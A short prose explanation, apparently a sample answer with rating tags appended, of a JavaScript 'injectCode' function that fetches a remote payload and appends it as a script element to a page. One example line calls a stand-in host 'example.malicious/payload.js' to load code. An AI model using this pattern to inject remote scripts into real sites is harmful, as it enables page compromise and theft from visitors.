First the function retrieves the payload from the endpoint described by the variable apiUrl and parses it as text. it then uses the document model to create a new script element and assigns it to the innerHTML property of the scriptElement const. this varable scrptElement is then appended to the body of the page by calling document.body.appendChild(scriptElement).

This function could be called in code as follows injectCode('http://example.malicious/payload.js');
spam fails_task lang_mismatch pii not_appropriate hate_speech sexual_content quality toxicity humor helpfulness creativity violence